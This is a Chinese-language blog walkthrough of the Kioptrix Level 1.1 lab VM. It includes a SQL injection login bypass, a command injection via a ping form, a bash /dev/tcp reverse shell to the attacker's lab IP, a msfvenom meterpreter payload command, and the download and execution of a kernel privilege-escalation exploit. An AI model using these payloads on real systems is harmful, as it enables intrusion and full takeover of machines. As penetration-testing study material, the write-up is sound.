Kioptrix Level 1.1(#2)

Kioptrix Level 1.1(#2)

MADISUN Lv2

Kioptrix Level 1.1(#2)

参考 Kioptrix: Level 1.1 (#2) | Hacking Walkthroughs, Writeups and Guides (hummus-ful.github.io)

渗透思路

信息收集

  • nmap扫描ip,得到IP为192.168.89.138
  • nmap扫描端口及端口服务
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-02 10:25 EST
Nmap scan report for localhost (192.168.89.138)
Host is up (0.00071s latency).
Not shown: 65528 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 3.9p1 (protocol 1.99)
80/tcp open http Apache httpd 2.0.52 ((CentOS))
111/tcp open rpcbind 2 (RPC #100000)
443/tcp open ssl/http Apache httpd 2.0.52 ((CentOS))
605/tcp open status 1 (RPC #100024)
631/tcp open ipp CUPS 1.1
3306/tcp open mysql MySQL (unauthorized)
MAC Address: 00:50:56:39:80:A3 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.70 seconds

看到了web服务:80端口和443端口

  • 用浏览器访问http://192.168.89.138,发现是一个登录界面

截屏2024-02-03_下午5.08.05

  • F12 查看源代码
截屏2024-02-03_下午5.09.55

看到Start of HTML when logged in as Administartor,推测用户名为Administrator(其实好像无关,但一些CTFer的基因动了,有些敏感hhh)

我的体验

信息收集还算成功,也找到了突破口是web服务,看到登录表,第一想法就是sql注入,但死在web渗透经验为0,且sql注入不熟悉,因此卡在了这里。需要从0开始训练一下sql注入。

web渗透

Sql注入

  • 在username中输入Administrator(事实上随便输入什么都可以),接着在password中输入' or '1' = '1 (这里的sql注入很简单,很多思路都是可以的)

  • 还有一篇walkthrough里面有人是username输入admin' or 1=1-- s(这里的s不必要,但是–后必须有空格),然后password随意输入

    • –是一种sql的单行注释语句,注意:–后面有空格
  • 成功后看到以下页面:

截屏2024-02-03_下午5.35.22

寻找漏洞:RCE漏洞

  • 根据提示:ping a machine on the network,随便填了一个ip8.8.8.8,发现会显示shell命令以及执行结果

截屏2024-02-03_下午5.48.17

  • 猜测存在RCE漏洞:Remote Code/Command Execute(第一次知道这叫做RCE),输入8.8.8.8;whoami

截屏2024-02-03_下午5.50.46

看到了whoami的结果apache看来拿到shell之后还要提权了

证明确实存在RCE

漏洞利用

反弹shell

参考 Linux下几种常见的反弹shell方式 - 简书 (jianshu.com)

0x01 bash建立tcp连接
  • 利用bash -i >& /dev/tcp/192.168.89.137/4444 0>&1,反弹shell

  • 在kali攻击机中开启监听 nc -nvlp 4444

截屏2024-02-03_下午6.01.38

成功拿到shell,但只是个权限很低的apache用户,接下来就是提权了

0x02 msfvenom生成后门

参考0×02 Vulnhub靶机渗透总结之 KIOPTRIX: LEVEL 1.1 常规命令注入+内核提权 - wsec - 博客园 (cnblogs.com)

  • msfvenom生成后门命名为shell4444,开启http服务上传shell给靶机下载,msf进行监听,然后靶场执行shell,成功反弹shell
1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.89.137 LPOTR=4444 -b "\x00" -e x86/shikata_ga_nai -f elf -o shell4444

Linux 提权 Linux Privilege Escalation

参考 Linux 提权

提权信息收集

  • 根据参考,使用lsb_release -a 2>/dev/null查看os信息
1
2
3
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems

2>/dev/null 是把标准错误输出到“黑洞”,即删除错误信息,可以解决大量屏幕输出的问题

截屏2024-02-03_下午10.46.56

发现Linux版本是CentOS 4.5

  • 还有一种工具LinEnum.sh脚本可以枚举目标靶机版本信息、用户信息、权限信息、环境信息、第三方软件信息,进程信息等

关于工具使用:Linux提权辅助工具_./linux-exploit-suggester.sh-CSDN博客

寻找CentOS 4.5漏洞利用提权脚本

  • searchsploit CentOS 4.5

截屏2024-02-03_下午10.54.18

  • 存到本地 searchsploit -m linux_x86/local/9542.c

将脚本传到靶机

0x01 Python SimpleHTTPServer 快速共享当前目录
1
2
3
4
#Python2
python -m SimpleHTTPServer <port>
#Python3
python3 -m http.server <port>
  • 在攻击机 9542.c所在目录使用命令python3 -m http.server 6789

截屏2024-02-03_下午11.09.57

  • 靶机通过curl http://192.168.89.137:6789/9542.c --output /tmp/9542.c 拉取文件至本地

截屏2024-02-03_下午11.13.18

==这里output设置的路径,对于当前用户来说,必须要有写的权限,通过在根目录下ls -al看到apache用户只在/tmp文件中拥有wx的权限,因此选择存在/tmp文件下==

  • 同时在攻击机上也可以看到靶机的信息

截屏2024-02-03_下午11.16.41

0x02 service apache2 start
  • 在攻击机上打开apache服务:sudo service apache2 start

  • 在攻击机上将9542.c 传到/var/www/html文件夹中:sudo mv 9542.c /var/www/html

  • 靶机通过wget/curl拉取文件:wget http://192.168.89.137/9542.c

  • 同样需要注意存储的文件夹权限问题

编译运行脚本

1
2
gcc ./9542.c -o 9542 #编译
./9542 #运行

截屏2024-02-03_下午11.23.15

学习总结

优秀总结:0×02 Vulnhub靶机渗透总结之 KIOPTRIX: LEVEL 1.1 (#2) 常规命令注入+内核提权 - wsec - 博客园 (cnblogs.com)

关于631端口 ipp服务 CUPS 1.1

  • 是一种打印机相关的服务,searchsploit找到了一些提权脚本,但靶机没有打印机设备

关于渗透方向

  • 根据靶机打开的端口,一一尝试后,成功找到了RCE的web漏洞

关于 Linux 提权

  • 尝试过sudo提权,这也是一种方向,但无法利用,失败告终

  • 利用os信息收集,有自动化脚本,已安装到我的tools文件夹中,详见[Linux 提权 Linux Privilege Escalation](#Linux 提权 Linux Privilege Escalation)章节

    • LinEnum 可以枚举信息
    • lse.sh 可以枚举一些系统可能存在的漏洞信息

    以上都是要在靶机中运行的,因此脚本需要通过http服务传到靶机中

  • 还要注意当前用户是否在某目录拥有wx权限,通常/tmp文件夹可以

关于主机间传文件 via http

  • Python建立简单http服务
  • 在攻击机中开启apache

关于web渗透sql注入

  • sql注入知识(有待进一步学习
  • Title: Kioptrix Level 1.1(#2)
  • Author: MADISUN
  • Created at : 2024-02-03 17:08:24
  • Updated at : 2024-03-09 20:07:26
  • Link: https://redefine.ohevan.com/2024/02/03/Kioptrix_Level_1.1/
  • License: This work is licensed under CC BY-NC-SA 4.0.